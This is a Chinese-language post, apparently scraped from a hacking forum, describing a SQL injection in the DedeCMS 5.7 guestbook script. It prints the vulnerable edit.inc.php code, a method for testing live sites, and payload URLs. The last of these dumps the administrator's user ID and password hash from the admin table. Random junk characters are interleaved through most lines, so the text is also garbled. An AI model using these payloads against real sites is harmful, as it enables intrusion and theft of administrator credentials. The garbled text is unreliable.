影响版本为5.79 k+ x) k* o' \- f! A
' b, @' b4 M# P( `' p漏洞文件edit.inc.php具体代码:
& J+ v" T5 a3 \; d+ |. [5 A. F2 C4 C; U! j5 Q# N
< ?php j3 X! J) w: W }
9 N! O: A' p z: L1 |if(!defined('DEDEINC')) exit('Request Error!'); ! K4 m3 B* o( i9 ]
% P+ s8 v( W) B0 b
# B4 O1 D: C4 S, O
9 P' d p V& M, a0 z" ~if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; , i: H- a- n( }: `. H& S% L4 p
9 B# Y6 L: A1 f) V8 zelse $GUEST_BOOK_POS = "guestbook.php";
/ ~3 W d: s6 i) d5 p
3 e8 _7 C- D/ P6 Z/ R, I
6 x8 F& ~4 Z+ ]
8 w' v# w8 ^! J, S, g- X3 s$id = intval($id);
- H3 s5 `6 l1 ^* n5 m9 g |
4 ]# [9 q7 M' W" s; Q3 | Bif(empty($job)) $job='view'; , M0 Z* n! N% `+ R/ O7 T# B
~* R% T# x# h8 U5 U$ h
' \* U6 H7 h Z# O
) B6 C0 o* U9 b2 ?( v; [; fif($job=='del' && $g_isadmin) 6 P9 M j; K% ], F6 ~
: b8 ]- w& e5 x1 {" M- ?{
3 Q( Y( n% m4 _6 P5 \+ M8 D
4 b" V) `$ s2 V% u( G7 k1 s$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); & k* {! C/ U7 {
/ r3 Y- }( A d/ xShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
5 ~. t0 H2 U$ i5 _+ i/ U# P" z& y$ d" v% n0 ~& e5 o8 t9 C
exit(); 0 b1 L/ U* }; s5 Y1 S2 ]
/ |7 A w* l% M: G+ R E4 f}
3 O0 d( h0 \1 q" K* @2 f; i) ]2 u% O; o [/ x" m5 h2 F
else if($job=='check' && $g_isadmin)
5 @& \6 e; Y7 \# {5 Y; e6 v$ Q- c) h' f4 @, X
{
6 ~) D: o0 U$ o9 q1 ?
' d+ V0 o( u' B- u1 p! a; p$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); / w- b) d |* v: _/ D' s- l
1 B3 _8 X+ O7 I% R7 [
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
; ]3 d7 x9 D, Q& c9 ?) o$ m
0 V$ X" W, Y6 h! m7 }& S$ M# Zexit(); 8 T0 L# `" I: R+ e9 C
7 P+ C0 z5 n% C$ R} 9 f J4 @, n# ^! `/ `
/ L" g. T% N' H! x+ d5 delse if($job=='editok')
% E5 |: {1 a% ~/ S
3 `5 |( D+ i7 t, O{
! A# d3 Y1 \0 J' t" J) L. l% l7 Y3 i. e4 Y5 j
$remsg = trim($remsg); 2 G* s- c0 o: v
f3 A$ V, a# }$ ^' D# zif($remsg!='') ; J: _9 w- D( i2 e B3 v; z, ~! q
; m4 h+ c+ J' a j+ M* m{ , D3 a! L! Y4 f0 S9 A/ I+ Y; R
5 w& ^/ U/ B! J. O t3 L
//管理员回复不过滤HTML By:Errorera blog:errs.cc
6 y2 ^+ m# L5 c' T7 k& ~2 V, z' c! b0 }' `( r G' o" _, b2 y" S
if($g_isadmin)
* X' L2 q0 O1 b% A) L
1 g6 ^5 n+ p. k8 h6 X& \% a3 h{
. F9 J1 M3 K2 W$ d* p+ ^' k, X4 Q j' D2 {5 B- n2 E
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; - }1 N7 N+ ?( t$ \" p! v+ I" l
3 U3 J* j9 U5 o" p3 g2 J
//$remsg <br /><font color=red>管理员回复:</font> }
8 R, s( r' P' i8 g1 W; O# T/ q4 h9 z( J G" F# X$ q
else ; J$ V7 W, l: ^7 x8 d6 z
' E8 F' Y" x0 H* q2 Z I0 z
{
5 i6 I1 {) D7 Q$ u. T, r8 |
& U+ M+ ] k% o, T1 ~( @5 ]- p$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
2 t7 V% t# h/ U" J, Q, g! f+ g6 v
* t0 _; j) Z2 x4 [. _$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; 9 y2 k) d- }7 r& O4 [- t, a h
- i1 }- i) j; ?8 g$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
4 R/ u/ ]3 x" R% R1 r) ~; ^
; R; F8 @6 e9 Q# M8 X0 w( d* l9 \/ h$msg = $oldmsg.$remsg; 6 S7 l% y# c6 @4 P
1 X3 } s5 _0 O3 k( z$ `
} - C' X' T0 t0 ]
* P. U* s& T) |9 w' r
}
, t7 Q. ~9 e' W: u
: n! G; _; h. f; u) h//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
7 n, ?8 Y' A1 ~% R; Z. v# J# R
4 v& j# q. A% v* W# B% {0 E$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); j; ]! T/ {" i; m" s" Q2 a- n
$ U0 S8 s/ q: W' n' o
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
- h! p) l6 i. x0 I. Z) ^4 J4 S6 k8 r i2 @+ x6 G
exit(); / ]% S, x; f8 \: [; ]
" Y. w8 t* b7 J( i( J6 q" V) ~
} * I9 T, ~; K+ b1 }. k# V& R6 {
* f# R9 `( K" G; B; z6 S$ g
//home:www.errs.cc
+ o4 e2 W- p, m1 \: O& s K' L9 J' F% G) G: _8 [7 k- Y" ^
if($g_isadmin) 6 X$ ^' i! d$ ]' O0 O4 o
$ i( i- j: e( K9 V& f- {' F
{
& B( ~, g+ T. o+ c; T
% y' t9 z' v$ p( o% x$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); 2 K3 c- d, B5 @+ I+ S
; ~" f2 C. e' H S& {# n: b- ?require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); $ N, S% M# t1 y* u3 d" N
4 V3 ]. u% h) C# @6 t7 C} . l( G6 J4 }6 p3 R3 C7 ]8 g2 |( c+ @
1 m2 r0 s- J+ c
else ( `, n/ D) v; `
! M% Q: P! x* h, h6 d8 ?* A{
/ o' r* D/ o& D8 a/ H. O, x Q4 `
, h2 k6 J& V7 s$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
% p, Q$ @3 k3 n6 x y- H$ J J' e( u! T) ]6 N' `/ E
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
4 c: |" q, T% P; F6 m) ^, ~. M2 K" S- m' S9 U8 Q0 m
} 漏洞成功需要条件:3 y% f! d* L% y: S9 h
1. php magic_quotes_gpc=off
& _, u* P P' ^. v! M2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。$ {2 ~8 m. X3 I0 Q1 p4 a& K" a
" P2 `/ X9 k2 C1 F: v" ]7 D
怎么判断是否存在漏洞:
. a' W& d5 w% o先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
( f" _6 f1 ~ q3 B& A然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID8 D9 c, G) J$ W' s, c- N
访问:# j0 Y' X' ~3 N/ c5 `
( q, X2 q! R# I& L
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了* k# ^4 d9 V# Y* F
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
+ A8 t6 N6 Z/ ~2 o$ a( m, a* H( d2 c3 o' m( x# B
% Z' s2 s. j0 z! }+ T" O明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
" R2 j2 Z$ W3 R如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
8 e# W4 |( w+ A/ o5 r# e那么再次访问
# a1 N7 K* Y* n* C
2 Z0 C' q' t: fwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().) R, y! t7 N6 p, Q e) x. }* N& w6 S
. b6 h7 E0 f5 R4 y: a8 S
大概利用就是这样,大家有兴趣的多研究下!!
, R( a, v! Z1 }0 {9 S9 x2 e9 m) |5 _' C, b
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!% H( p1 r, @8 g F
8 S: ]- w; f+ ]6 C Eview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |